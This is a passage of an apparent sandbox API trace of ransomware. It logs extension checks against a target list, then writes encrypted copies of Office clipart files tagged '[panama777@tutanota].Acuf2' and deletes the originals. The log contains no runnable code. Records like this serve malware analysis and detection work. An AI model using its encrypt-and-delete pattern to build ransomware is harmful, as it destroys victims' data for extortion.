	[0262.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0262.701] lstrlenW (lpString=".bz2") returned 4
	[0262.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0262.701] lstrlenW (lpString=".7z") returned 3
	[0262.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0262.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63
	[0262.701] lstrlenW (lpString=".dbf") returned 4
	[0262.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0262.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63
	[0262.701] lstrlenW (lpString=".1cd") returned 4
	[0262.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0262.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63
	[0262.701] lstrlenW (lpString=".jpg") returned 4
	[0262.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.348] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.348] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0263.349] GetLastError () returned 0x0
	[0263.349] ReadFile (in: hFile=0x320, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x400c, lpOverlapped=0x0) returned 1
	[0263.365] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x4010, lpOverlapped=0x0) returned 1
	[0263.366] ReadFile (in: hFile=0x320, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.366] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.366] SetEndOfFile (hFile=0x33c) returned 1
	[0263.366] CloseHandle (hObject=0x33c) returned 1
	[0263.366] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.366] SetEndOfFile (hFile=0x320) returned 1
	[0263.368] CloseHandle (hObject=0x320) returned 1
	[0263.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf")) returned 1
	[0263.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63
	[0263.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63
	[0263.423] lstrlenW (lpString=".doc") returned 4
	[0263.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.423] lstrlenW (lpString=".docx") returned 5
	[0263.423] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.423] lstrlenW (lpString=".pdf") returned 4
	[0263.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.423] lstrlenW (lpString=".xls") returned 4
	[0263.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.423] lstrlenW (lpString=".xlsx") returned 5
	[0263.424] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.424] lstrlenW (lpString=".ppt") returned 4
	[0263.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63
	[0263.424] lstrlenW (lpString=".zip") returned 4
	[0263.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.424] lstrlenW (lpString=".rar") returned 4
	[0263.424] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.424] lstrlenW (lpString=".bz2") returned 4
	[0263.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.424] lstrlenW (lpString=".7z") returned 3
	[0263.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63
	[0263.424] lstrlenW (lpString=".dbf") returned 4
	[0263.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63
	[0263.424] lstrlenW (lpString=".1cd") returned 4
	[0263.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63
	[0263.424] lstrlenW (lpString=".jpg") returned 4
	[0263.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.561] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.564] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0263.584] GetLastError () returned 0x0
	[0263.584] ReadFile (in: hFile=0x220, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x3690, lpOverlapped=0x0) returned 1
	[0263.615] WriteFile (in: hFile=0x358, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x36a0, lpOverlapped=0x0) returned 1
	[0263.616] ReadFile (in: hFile=0x220, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.616] WriteFile (in: hFile=0x358, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.616] SetEndOfFile (hFile=0x358) returned 1
	[0263.616] CloseHandle (hObject=0x358) returned 1
	[0263.616] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.616] SetEndOfFile (hFile=0x220) returned 1
	[0263.618] CloseHandle (hObject=0x220) returned 1
	[0263.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf")) returned 1
	[0263.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63
	[0263.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63
	[0263.618] lstrlenW (lpString=".doc") returned 4
	[0263.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.618] lstrlenW (lpString=".docx") returned 5
	[0263.619] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.619] lstrlenW (lpString=".pdf") returned 4
	[0263.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.619] lstrlenW (lpString=".xls") returned 4
	[0263.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.619] lstrlenW (lpString=".xlsx") returned 5
	[0263.619] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.619] lstrlenW (lpString=".ppt") returned 4
	[0263.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63
	[0263.619] lstrlenW (lpString=".zip") returned 4
	[0263.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.619] lstrlenW (lpString=".rar") returned 4
	[0263.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.619] lstrlenW (lpString=".bz2") returned 4
	[0263.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.619] lstrlenW (lpString=".7z") returned 3
	[0263.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63
	[0263.619] lstrlenW (lpString=".dbf") returned 4
	[0263.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63
	[0263.619] lstrlenW (lpString=".1cd") returned 4
	[0263.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63
	[0263.619] lstrlenW (lpString=".jpg") returned 4
	[0263.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.631] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.631] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0263.632] GetLastError () returned 0x0
	[0263.632] ReadFile (in: hFile=0x360, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x121a, lpOverlapped=0x0) returned 1
	[0263.635] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1220, lpOverlapped=0x0) returned 1
	[0263.636] ReadFile (in: hFile=0x360, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.636] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.636] SetEndOfFile (hFile=0x33c) returned 1
	[0263.636] CloseHandle (hObject=0x33c) returned 1
	[0263.636] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.636] SetEndOfFile (hFile=0x360) returned 1
	[0263.639] CloseHandle (hObject=0x360) returned 1
	[0263.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf")) returned 1
	[0263.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63
	[0263.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63
	[0263.639] lstrlenW (lpString=".doc") returned 4
	[0263.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.640] lstrlenW (lpString=".docx") returned 5
	[0263.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.640] lstrlenW (lpString=".pdf") returned 4
	[0263.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.640] lstrlenW (lpString=".xls") returned 4
	[0263.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.640] lstrlenW (lpString=".xlsx") returned 5
	[0263.640] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.640] lstrlenW (lpString=".ppt") returned 4
	[0263.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63
	[0263.640] lstrlenW (lpString=".zip") returned 4
	[0263.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.640] lstrlenW (lpString=".rar") returned 4
	[0263.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.640] lstrlenW (lpString=".bz2") returned 4
	[0263.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.640] lstrlenW (lpString=".7z") returned 3
	[0263.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63
	[0263.640] lstrlenW (lpString=".dbf") returned 4
	[0263.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63
	[0263.640] lstrlenW (lpString=".1cd") returned 4
	[0263.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63
	[0263.640] lstrlenW (lpString=".jpg") returned 4
	[0263.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.641] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=2412) returned 1
	[0263.641] CloseHandle (hObject=0x360) returned 1
	[0263.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x20
	[0263.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0263.641] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.641] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0263.642] GetLastError () returned 0x0
	[0263.642] ReadFile (in: hFile=0x360, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x96c, lpOverlapped=0x0) returned 1
	[0263.643] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x970, lpOverlapped=0x0) returned 1
	[0263.644] ReadFile (in: hFile=0x360, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.644] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.644] SetEndOfFile (hFile=0x33c) returned 1
	[0263.644] CloseHandle (hObject=0x33c) returned 1
	[0263.644] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.644] SetEndOfFile (hFile=0x360) returned 1
	[0263.646] CloseHandle (hObject=0x360) returned 1
	[0263.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 1
	[0263.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63
	[0263.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63
	[0263.646] lstrlenW (lpString=".doc") returned 4
	[0263.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.646] lstrlenW (lpString=".docx") returned 5
	[0263.646] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.646] lstrlenW (lpString=".pdf") returned 4
	[0263.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.647] lstrlenW (lpString=".xls") returned 4
	[0263.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.647] lstrlenW (lpString=".xlsx") returned 5
	[0263.647] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.647] lstrlenW (lpString=".ppt") returned 4
	[0263.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63
	[0263.647] lstrlenW (lpString=".zip") returned 4
	[0263.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.647] lstrlenW (lpString=".rar") returned 4
	[0263.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.647] lstrlenW (lpString=".bz2") returned 4
	[0263.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.647] lstrlenW (lpString=".7z") returned 3
	[0263.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63
	[0263.647] lstrlenW (lpString=".dbf") returned 4
	[0263.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63
	[0263.647] lstrlenW (lpString=".1cd") returned 4
	[0263.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63
	[0263.647] lstrlenW (lpString=".jpg") returned 4
	[0263.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.648] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=4984) returned 1
	[0263.648] CloseHandle (hObject=0x360) returned 1
	[0263.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x20
	[0263.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0263.648] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.648] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0263.648] GetLastError () returned 0x0
	[0263.648] ReadFile (in: hFile=0x360, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1378, lpOverlapped=0x0) returned 1
	[0263.650] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1380, lpOverlapped=0x0) returned 1
	[0263.651] ReadFile (in: hFile=0x360, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.651] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.651] SetEndOfFile (hFile=0x33c) returned 1
	[0263.651] CloseHandle (hObject=0x33c) returned 1
	[0263.651] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.651] SetEndOfFile (hFile=0x360) returned 1
	[0263.653] CloseHandle (hObject=0x360) returned 1
	[0263.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.653] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 1
	[0263.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63
	[0263.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63
	[0263.653] lstrlenW (lpString=".doc") returned 4
	[0263.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.653] lstrlenW (lpString=".docx") returned 5
	[0263.654] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.654] lstrlenW (lpString=".pdf") returned 4
	[0263.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.654] lstrlenW (lpString=".xls") returned 4
	[0263.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.654] lstrlenW (lpString=".xlsx") returned 5
	[0263.654] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.654] lstrlenW (lpString=".ppt") returned 4
	[0263.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
